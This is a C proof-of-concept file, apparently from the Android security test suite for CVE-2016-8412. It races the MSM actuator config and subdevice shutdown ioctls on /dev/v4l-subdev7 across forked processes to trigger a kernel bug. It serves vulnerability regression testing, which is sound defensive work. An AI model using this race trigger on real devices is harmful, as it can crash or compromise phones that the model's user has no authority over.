Home | History | Annotate | Download | only in CVE-2016-8412
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #include <unistd.h>
     17 #include <sys/syscall.h>
     18 #include <string.h>
     19 #include <stdint.h>
     20 #include <pthread.h>
     21 #include <stdio.h>
     22 #include <sys/types.h>
     23 #include <sys/stat.h>
     24 #include <fcntl.h>
     25 #include <signal.h>
     26 
     27 #define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
     28 #define MSM_SD_SHUTDOWN 0xc00856dd
     29 
     30 int fd;
     31 
     32 
     33 int main() {
     34   long i;
     35   int pid;
     36   pthread_t th[6];
     37   int argn[50] = {0};
     38 
     39   fd = open("/dev/v4l-subdev7", 0x0ul );
     40 
     41 
     42   argn[0] = 7;
     43   syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
     44 
     45   pid = fork();
     46   if(!pid){
     47     argn[0] = 1;
     48     while(1){
     49       usleep(10);
     50       syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
     51     }
     52   }
     53   i = 0;
     54   while(1){
     55     i++;
     56     argn[0] = 7;
     57     syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
     58 
     59     usleep(100);
     60 
     61     argn[0] = 0;
     62     syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
     63 
     64   }
     65 
     66   close(fd);
     67 
     68   return 0;
     69 }
     70